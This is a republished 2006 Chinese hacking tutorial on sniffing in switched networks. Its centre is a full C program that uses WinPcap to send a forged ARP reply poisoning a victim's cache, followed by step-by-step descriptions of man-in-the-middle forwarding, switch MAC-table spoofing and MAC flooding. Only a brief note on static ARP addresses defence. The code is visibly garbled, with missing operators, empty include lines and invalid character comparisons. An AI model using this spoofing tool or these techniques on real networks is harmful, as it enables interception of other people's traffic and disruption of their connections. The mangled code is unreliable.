|
| 黑客技术:交换网络中的嗅探和arp欺骗 |
| 来源:网络 时间:2006-10-15 |
|
|
以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。
arp缓存表
假设这样一个网络:
—————————— hub —————————— hosta hostb hostc
其中
a的地址为:ip:192.168.10.1 mac: aa-aa-aa-aa-aa-aa
b的地址为:ip:192.168.10.2 mac: bb-bb-bb-bb-bb-bb
c的地址为:ip:192.168.10.3 mac: cc-cc-cc-cc-cc-cc
假设b是属于一个嗅探爱好者的,比如a机器的arp缓存:
c:\>arp -a
interface: 192.168.10.1 on interface 0x1000003
internet address physical address type
192.168.10.3 cc-cc-cc-cc-cc-cc dynamic
这是192.168.10.1机器上的arp缓存表,假设,a进行一次ping 192.168.10.3操作,ping主机c,会查询本地的arp缓存表,找到c的ip地址的mac地址,那么就会进行数据传输,目的地就是c 的mac地址。如果a中没有c的arp记录,那么a首先要广播一次arp请求,当c接收到a 的请求后就发送一个应答,应答中包含有c的mac地址,然后a接收到c的应答,就会更新本地的arp缓存。接着使用这个mac地址发送数据(由网卡附加mac地址)。
因此,本地高速缓存的这个arp表是本地网络流通的基础,而且这个缓存是动态的。
|
///////////////////////////////////////////////////////
//
// arp sender
//
// creator: refdom
// email: refdom@263.net
// home page: www.opengram.com
//
// 2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "mac.h"
//getmacaddr(),我写的把字符串转换为mac地址的函数,就不列在这里了
#include
#include
#define ept_ip0x0800/* type: ip*/
#define ept_arp0x0806/* type: arp */
#define ept_rarp0x8035/* type: rarp */
#define arp_hardware 0x0001/* dummy type for 802.3 frames */
#definearp_request0x0001/* arp request */
#definearp_reply0x0002/* arp reply */
#define max_num_adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}ehhdr, *pehhdr;
typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* arp/rarp operation */
unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}arphdr, *parphdr; typedef struct arppacket
{
ehhdrehhdr;
arphdrarphdr;
} arppacket, *parppacket;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char adapterlist[max_num_adapter][1024];
char szpacketbuf[600];
char macaddr[6];
lpadapterlpadapter;
lppacketlppacket;
wcharadaptername[2048];
wchar*temp,*temp1;
arppacket arppacket;
ulong adapterlength = 1024;
int adapternum = 0;
int nretcode, i;
//get the list of adapter
if(packetgetadapternames((char*)adaptername,&adapterlength)==false)
{
printf("unable to retrieve the list of the adapters!\n");
return 0;
}
temp = adaptername;
temp1=adaptername;
i = 0;
while ((*temp != "\0") (*(temp-1) != "\0"))
{
if (*temp == "\0")
{
memcpy(adapterlist[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
adapternum = i;
for (i = 0; i < adapternum; i++)
wprintf(l"\n%d- %s\n", i+1, adapterlist[i]);
printf("\n");
//default open the 0
lpadapter = (lpadapter) packetopenadapter((lptstr) adapterlist[0]);
//取第一个网卡(假设啦)
if (!lpadapter (lpadapter->hfile == invalid_handle_value))
{
nretcode = getlasterror();
printf("unable to open the driver, error code : %lx\n", nretcode);
return 0;
}
lppacket = packetallocatepacket();
if(lppacket == null)
{
printf("\nerror:failed to allocate the lppacket structure.");
return 0;
}
zeromemory(szpacketbuf, sizeof(szpacketbuf));
if (!getmacaddr("bbbbbbbbbbbb", macaddr))
{
printf ("get mac address error!\n");
}
memcpy(arppacket.ehhdr.eh_dst, macaddr, 6); //源mac地址
if (!getmacaddr("aaaaaaaaaaaa", macaddr))
{
printf ("get mac address error!\n");
return 0;
}
memcpy(arppacket.ehhdr.eh_src, macaddr, 6); //目的mac地址。(a的地址)
arppacket.ehhdr.eh_type = htons(ept_arp);
arppacket.arphdr.arp_hrd = htons(arp_hardware);
arppacket.arphdr.arp_pro = htons(ept_ip);
arppacket.arphdr.arp_hln = 6;
arppacket.arphdr.arp_pln = 4;
arppacket.arphdr.arp_op = htons(arp_reply);
if (!getmacaddr("dddddddddddd", macaddr))
{
printf ("get mac address error!\n");
return 0;
}
memcpy(arppacket.arphdr.arp_sha, macaddr, 6);//伪造的c的mac地址
arppacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //c的ip地址
if (!getmacaddr("aaaaaaaaaaaa", macaddr))
{
printf ("get mac address error!\n");
return 0;
}
memcpy(arppacket.arphdr.arp_tha , macaddr, 6); //目标a的mac地址
arppacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标a的ip地址
memcpy(szpacketbuf, (char*)&arppacket, sizeof(arppacket));
packetinitpacket(lppacket, szpacketbuf, 60);
if(packetsetnumwrites(lpadapter, 2)==false)
{
printf("warning: unable to send more than one packet in
a single write!\n");
}
if(packetsendpacket(lpadapter, lppacket, true)==false)
{
printf("error sending the packets!\n");
return 0;
}
printf ("send ok!\n");
// close the adapter and exit
packetfreepacket(lppacket);
packetcloseadapter(lpadapter);
return 0;
}
于是a接收到一个被伪造的arp应答。a被欺骗了!!倘若在局域网中看某某机器不顺眼,……
以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能够发现,主机、switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的arp欺骗基础中我们就能够做到。
对目标进行arp欺骗
就象上面程序中实现的一样,对目标a进行欺骗,a去ping主机c却发送到了dd-dd-dd-dd-dd-dd这个地址上。如果进行欺骗的时候,把c的mac地址骗为bb-bb-bb-bb-bb-bb,于是a发送到c上的数据包都变成发送给b的了。这不正好是b能够接收到a发送的数据包了么,嗅探成功。
a对这个变化一点都没有意识到,但是接下来的事情就让a产生了怀疑。因为a和c连接不上了!!b对接收到a发送给c的数据包可没有转交给c。
做“man in the middle”,进行arp重定向。打开b的ip转发功能,a发送过来的数据包,转发给c,好比一个路由器一样。不过,假如b发送icmp重定向的话就中断了整个计划。
直接进行整个包的修改转发,捕获到a发送给的数据包,全部进行修改后再转发给c,而c接收到的数据包完全认为
是从a发送来的。不过,c发送的数据包又直接传递给a,倘若再次进行对c的arp欺骗。现在b就完全成为a与c的中间桥梁了。
对switch的mac欺骗
switch上同样维护着一个动态的mac缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对应mac地址表port n <-> mac记录着每一个端口下面存在那些mac地址,这个表开始是空的,交换机从来往数据帧中学习。举例来说,当port 1口所接的计算机发出了一个数据帧,这帧数据从port 1进入交换机,交换机就取这个数据帧的原mac地址aaaa,然后在地址表中记录:port 1 <-> aaaa, 以后,所有发向mac地址为aaaa的数据帧,就全从port 1口输出,而不会从其它的口输出。
跟前面对目标进行欺骗相类似。如果把switch上的mac-port表修改了,那么对应的mac和port就一样跟着改变,本来不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(b)发送的数据包mac地址为原来a的mac地址,当经过交换机的时候,交换机发现端口b对应的地址是机器a的mac地址,于是就将会把a的mac地址同端口b相对应,从而把发送给a的数据从端口b传输了,本来这些应该是传送到端口a的。因此,从机器b就能够获得发送给a的数据。
但是,这里有一个问题,a将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,
让交换机中一个mac地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。
对switch进行flood
就象上面介绍switch的mac和port对应关系形成的原理,因为mac-port缓存表是动态更新的,那么让整个switch的端口表都改变,对switch进行mac地址欺骗的flood,不断发送大量假mac地址的数据包,switch就更新mac-port缓存,如果能通过这样的办法把以前正常的mac和port对应的关系破坏了,那么switch就会进行泛洪发送给每一个端口,让switch基本变成一个hub,向所有的端口发送数据包,要嗅探的目的一样能够达到。
存在的问题,switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情
况的switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。
对switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。
至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的arp就能够进行防范了。对于win,使用
arp -s 来进行静态arp的设置。
感谢winpcap这个开放项目,也感谢dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够,还请多指正 |
|
|
|
|
|